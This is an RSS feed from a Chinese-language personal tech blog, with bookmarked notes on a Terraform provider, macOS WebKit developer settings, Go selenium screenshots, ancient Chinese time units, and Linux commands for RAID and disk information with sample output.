<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>2022 on Ricky</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/</link><description>Recent content in 2022 on Ricky</description><generator>Hugo -- gohugo.io</generator><language>zh-tw</language><lastBuildDate>Thu, 28 Dec 2023 12:36:00 +0800</lastBuildDate><atom:link href="https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/index.xml" rel="self" type="application/rss+xml"/><item><title>Terraform Provider 開發紀錄</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221228-terraform-provider-development/</link><pubDate>Thu, 28 Dec 2023 12:36:00 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221228-terraform-provider-development/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://hazel.style/2022/12/06/Terraform-Provider-Development/" target="_blank" rel="noopener">Terraform Provider 開發紀錄&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>在 macOS 中檢視 Web Views</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221202-inspecting-web-views-in-macos/</link><pubDate>Fri, 02 Dec 2022 13:51:24 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221202-inspecting-web-views-in-macos/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.jim-nielsen.com/2022/inspecting-web-views-in-macos/" target="_blank" rel="noopener">在 macOS 中檢視 Web Views&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>defaults write NSGlobalDomain WebKitDeveloperExtras -bool true
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>defaults write -g WebKitDeveloperExtras -bool YES
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Go 使用 selenium 截图</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221202-go-selenium/</link><pubDate>Fri, 02 Dec 2022 13:40:19 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221202-go-selenium/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://dmesg.app/go-selenium.html" target="_blank" rel="noopener">Go 使用 selenium 截图&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span> &lt;span style="color:#e6db74">&amp;#34;github.com/sirupsen/logrus&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;github.com/tebeka/selenium&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io/ioutil&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">const&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chromeDriverPath&lt;/span> = &lt;span style="color:#e6db74">&amp;#34;/usr/local/bin/chromedriver&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">port&lt;/span> = &lt;span style="color:#ae81ff">9515&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">opts&lt;/span> []&lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">ServiceOption&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">SetDebug&lt;/span>(&lt;span style="color:#66d9ef">false&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">service&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">NewChromeDriverService&lt;/span>(&lt;span style="color:#a6e22e">chromeDriverPath&lt;/span>, &lt;span style="color:#a6e22e">port&lt;/span>, &lt;span style="color:#a6e22e">opts&lt;/span>&lt;span style="color:#f92672">...&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>) &lt;span style="color:#75715e">// panic is used only as an example and is not otherwise recommended.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">service&lt;/span>.&lt;span style="color:#a6e22e">Stop&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">caps&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">Capabilities&lt;/span>{&lt;span style="color:#e6db74">&amp;#34;browserName&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;chrome&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 整页截屏&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 获取到网页的宽高，然后把浏览器的窗口设置成这么大，然后再截图就好了！需要注意的是只有 headless 模式可以任意设置窗口大小，否则最大高度不能超过你的显示器分辨率&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// chromeCaps := chrome.Capabilities{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Path: &amp;#34;&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Args: []string{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// &amp;#34;--headless&amp;#34;,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// },&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// }&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// caps.AddChrome(chromeCaps)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wd&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">selenium&lt;/span>.&lt;span style="color:#a6e22e">NewRemote&lt;/span>(&lt;span style="color:#a6e22e">caps&lt;/span>, &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Sprintf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;http://localhost:%d/wd/hub&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">port&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Quit&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 在 selenium 中使用ExecuteScript就可以执行 JavaScript 代码，需要注意返回值是 interface，所以要类型断言成 float，然后再转成 int&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// height, _ := wd.ExecuteScript(&amp;#34;return document.body.parentNode.scrollHeight&amp;#34;, nil)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// var realHeight = int(height.(float64))&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// 然后我们需要设置窗口大小&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// wd.ResizeWindow(&amp;#34;&amp;#34;, 1920, realHeight)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Get&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;https://github.com/tgbot-collection/archiver&amp;#34;&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">screenshot&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">wd&lt;/span>.&lt;span style="color:#a6e22e">Screenshot&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Errorln&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ioutil&lt;/span>.&lt;span style="color:#a6e22e">WriteFile&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;screenshot.png&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">screenshot&lt;/span>, &lt;span style="color:#ae81ff">0644&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="整页截屏">整页截屏&lt;/h5>
&lt;p>获取到网页的宽高，然后把浏览器的窗口设置成这么大，然后再截图就好了！需要注意的是只有 headless 模式可以任意设置窗口大小，否则最大高度不能超过你的显示器分辨率&lt;/p></description></item><item><title>古代計時單位</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221129-ancient-time-unit/</link><pubDate>Tue, 29 Nov 2022 11:21:02 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221129-ancient-time-unit/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://wywu.pixnet.net/blog/posts/1022354528" target="_blank" rel="noopener">古代計時單位&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="十二時辰時間對照表">十二時辰時間對照表&lt;/h5>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>時辰&lt;/th>
&lt;th>古名&lt;/th>
&lt;th>對應現代時間&lt;/th>
&lt;th>初 / 正時間&lt;/th>
&lt;th>別名（完整）&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>子時&lt;/td>
&lt;td>夜半&lt;/td>
&lt;td>23:00-01:00&lt;/td>
&lt;td>子初 23:00&lt;br>子正 00:00&lt;/td>
&lt;td>子夜、中夜、午夜、夜分、夜半、未旦、宵分、未央&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>丑時&lt;/td>
&lt;td>雞鳴&lt;/td>
&lt;td>01:00-03:00&lt;/td>
&lt;td>丑初 01:00&lt;br>丑正 02:00&lt;/td>
&lt;td>荒雞&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>寅時&lt;/td>
&lt;td>平旦&lt;/td>
&lt;td>03:00-05:00&lt;/td>
&lt;td>寅初 03:00&lt;br>寅正 04:00&lt;/td>
&lt;td>平明、旦明、黎明、早旦、日旦、昧旦、騎旦、早晨、早夜、早朝、昧爽、旦日、旦時&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>卯時&lt;/td>
&lt;td>日出&lt;/td>
&lt;td>05:00-07:00&lt;/td>
&lt;td>卯初 05:00&lt;br>卯正 06:00&lt;/td>
&lt;td>日上、日生、日升、日始、日晞、旭日、破曉&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>辰時&lt;/td>
&lt;td>食時&lt;/td>
&lt;td>07:00-09:00&lt;/td>
&lt;td>辰初 07:00&lt;br>辰正 08:00&lt;/td>
&lt;td>早食、宴食、蚤食&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>巳時&lt;/td>
&lt;td>隅中&lt;/td>
&lt;td>09:00-11:00&lt;/td>
&lt;td>巳初 09:00&lt;br>巳正 10:00&lt;/td>
&lt;td>日隅、禺中、日禺&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>午時&lt;/td>
&lt;td>日中&lt;/td>
&lt;td>11:00-13:00&lt;/td>
&lt;td>午初 11:00&lt;br>午正 12:00&lt;/td>
&lt;td>日正、日午、日高、正午、中午、亭午、日當午、平午、平晝&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>未時&lt;/td>
&lt;td>日昳&lt;/td>
&lt;td>13:00-15:00&lt;/td>
&lt;td>未初 13:00&lt;br>未正 14:00&lt;/td>
&lt;td>日昃、日仄、日側、日跌、日斜、日映、日央&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>申時&lt;/td>
&lt;td>晡時&lt;/td>
&lt;td>15:00-17:00&lt;/td>
&lt;td>申初 15:00&lt;br>申正 16:00&lt;/td>
&lt;td>餔時、日餔、日晡、日鋪、日稷、日夕、夕食&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>酉時&lt;/td>
&lt;td>日入&lt;/td>
&lt;td>17:00-19:00&lt;/td>
&lt;td>酉初 17:00&lt;br>酉正 18:00&lt;/td>
&lt;td>日沒、日沉、日西、日落、日逝、日晏、日旴、日晦、傍晚&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>戌時&lt;/td>
&lt;td>黃昏&lt;/td>
&lt;td>19:00-21:00&lt;/td>
&lt;td>戌初 19:00&lt;br>戌正 20:00&lt;/td>
&lt;td>日夕、日末、日暮、日晚、日闇、日墮、日暗、日曛、曛黃&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>亥時&lt;/td>
&lt;td>人定&lt;/td>
&lt;td>21:00-23:00&lt;/td>
&lt;td>亥初 21:00&lt;br>亥正 22:00&lt;/td>
&lt;td>定昏、夤夜&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h5 id="更">更&lt;/h5>
&lt;p>漢代皇宮中值班人員分五個班次，按時更換，叫「五更」，由此古人把便把一夜分為五更，每更為一個時辰。
戌時為一更，亥時為二更，子時為三更，丑時為四更，寅時為五更&lt;/p></description></item><item><title>在 Linux 中偵測 RAID 資訊</title><link>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221128-raid-information-command-line/</link><pubDate>Mon, 28 Nov 2022 15:36:27 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/zh-tw/posts/2022/20221128-raid-information-command-line/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/raid-information-command-line" target="_blank" rel="noopener">在 Linux 中偵測 RAID 資訊&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="lspci">lspci&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lspci | grep RAID
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>00:1f.2 RAID bus controller: Intel Corporation &lt;span style="color:#ae81ff">82801&lt;/span> Mobile SATA Controller &lt;span style="color:#f92672">[&lt;/span>RAID mode&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">(&lt;/span>rev 04&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="lshw">lshw&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lshw -class storage
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> *-raid
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> description: RAID bus controller
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> product: &lt;span style="color:#ae81ff">82801&lt;/span> Mobile SATA Controller &lt;span style="color:#f92672">[&lt;/span>RAID mode&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vendor: Intel Corporation
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> physical id: 1f.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bus info: pci@0000:00:1f.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> logical name: scsi0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> version: &lt;span style="color:#ae81ff">04&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> width: &lt;span style="color:#ae81ff">32&lt;/span> bits
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> clock: 66MHz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> capabilities: raid msi pm bus_master cap_list emulated
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> configuration: driver&lt;span style="color:#f92672">=&lt;/span>ahci latency&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> resources: irq:26 ioport:f0d0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>8&lt;span style="color:#f92672">)&lt;/span> ioport:f0c0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>4&lt;span style="color:#f92672">)&lt;/span> ioport:f0b0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>8&lt;span style="color:#f92672">)&lt;/span> ioport:f0a0&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>4&lt;span style="color:#f92672">)&lt;/span> ioport:f060&lt;span style="color:#f92672">(&lt;/span>size&lt;span style="color:#f92672">=&lt;/span>32&lt;span style="color:#f92672">)&lt;/span> memory:f7e36000-f7e367ff
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="smartctl">smartctl&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>dmesg | grep -i scsi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 0.210852&lt;span style="color:#f92672">]&lt;/span> SCSI subsystem initialized
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 0.341280&lt;span style="color:#f92672">]&lt;/span> Block layer SCSI generic &lt;span style="color:#f92672">(&lt;/span>bsg&lt;span style="color:#f92672">)&lt;/span> driver version 0.4 loaded &lt;span style="color:#f92672">(&lt;/span>major 243&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 1.213299&lt;span style="color:#f92672">]&lt;/span> scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: &lt;span style="color:#ae81ff">0&lt;/span> ANSI: &lt;span style="color:#ae81ff">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 1.319886&lt;span style="color:#f92672">]&lt;/span> sd 0:0:0:0: &lt;span style="color:#f92672">[&lt;/span>sda&lt;span style="color:#f92672">]&lt;/span> Attached SCSI disk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> 19.571008&lt;span style="color:#f92672">]&lt;/span> sd 0:0:0:0: Attached scsi generic sg0 type &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>smartctl --all /dev/sda
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Model Family: Seagate Laptop HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device Model: ST320LT012-9WS14C
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Serial Number: S0V3R9LL
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>LU WWN Device Id: &lt;span style="color:#ae81ff">5&lt;/span> 000c50 05be4653c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Firmware Version: 0001YAM1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User Capacity: 320,072,933,376 bytes &lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#ae81ff">320&lt;/span> GB&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sector Sizes: &lt;span style="color:#ae81ff">512&lt;/span> bytes logical, &lt;span style="color:#ae81ff">4096&lt;/span> bytes physical
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Rotation Rate: &lt;span style="color:#ae81ff">5400&lt;/span> rpm
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Form Factor: 2.5 inches
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device is: In smartctl database 7.3/5319
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ATA Version is: ATA8-ACS T13/1699-D revision &lt;span style="color:#ae81ff">4&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SATA Version is: SATA 2.6, 3.0 Gb/s &lt;span style="color:#f92672">(&lt;/span>current: 3.0 Gb/s&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Local Time is: Sat Nov &lt;span style="color:#ae81ff">19&lt;/span> 20:52:01 &lt;span style="color:#ae81ff">2022&lt;/span> PKT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SMART support is: Available - device has SMART capability.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>SMART support is: Enabled
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="megacli">MegaCLI&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>megacli -LDInfo -Lall -aALL
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Adapter &lt;span style="color:#ae81ff">0&lt;/span> -- Virtual Drive Information:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Virtual Drive: &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#f92672">(&lt;/span>Target Id: 0&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Name : SEAGATE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Size : &lt;span style="color:#ae81ff">320&lt;/span> GB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sector Size : &lt;span style="color:#ae81ff">512&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Mirror Data : &lt;span style="color:#ae81ff">320&lt;/span> GB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>State : Optimal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="lsscsi">lsscsi&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>lsscsi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span>0:0:0:0&lt;span style="color:#f92672">]&lt;/span> disk ATA ST320LT012-9WS14 YAM1 /dev/sda
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="廠商專用工具">廠商專用工具&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>omreport storage vdisk
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>List of Virtual Disks in the System
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Controller SEAGATE Laptop HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ID : &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Status : Ok
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Name : SEAGATE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>State : Ready
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Hot Spare Policy violated : Not Assigned
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Encrypted : No
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Layout : RAID-0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Size : 320.00 GB &lt;span style="color:#f92672">(&lt;/span>&lt;span style="color:#ae81ff">343597383680&lt;/span> bytes&lt;span style="color:#f92672">)&lt;/span>
